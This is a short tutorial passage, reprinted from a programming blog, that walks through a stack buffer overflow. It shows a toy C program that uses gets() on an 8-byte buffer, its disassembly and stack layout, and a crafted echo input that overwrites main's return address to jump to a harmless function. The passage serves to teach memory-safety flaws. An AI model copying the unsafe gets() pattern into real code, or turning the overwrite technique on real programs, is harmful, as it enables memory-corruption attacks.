Basically, a reprint of the first section of http://nullprogram.com/blog/2017/01/21/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

void self_destruct(void)
{
puts("**** GO BOOM! ****");
}

int main(void)
{
char name[8];
gets(name);
printf("Hello, %s.\n", name);
return 0;
}

If we inspect the assembly, clang -O -S -fno-stack-protector so.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
main:                                   # @main
.cfi_startproc
# %bb.0:
pushq %rbx
.cfi_def_cfa_offset 16
subq $16, %rsp
.cfi_def_cfa_offset 32
.cfi_offset %rbx, -16
leaq 8(%rsp), %rbx
xorl %eax, %eax
movq %rbx, %rdi
callq gets
movl $.L.str.1, %edi
xorl %eax, %eax
movq %rbx, %rsi
callq printf
xorl %eax, %eax
addq $16, %rsp
popq %rbx
retq

Then, we can draw the stack layout map:

1
2
3
4
sp + 24 [return add for main] // pushq %rbx
sp + 16
sp + 8 // name
sp

Therefore, we can pass 24 bytes to overwrite the return address for main using the function address of self_destruct as shown below:

1
2
3
$ readelf -s a.out | grep self
00000000004005a0
$ clang -O -fno-stack-protector so.c ; echo -ne 'xxxxxxxxyyyyyyyy\xa0\x05\x40\x00\x00\x00\x00\x00' | ./a.out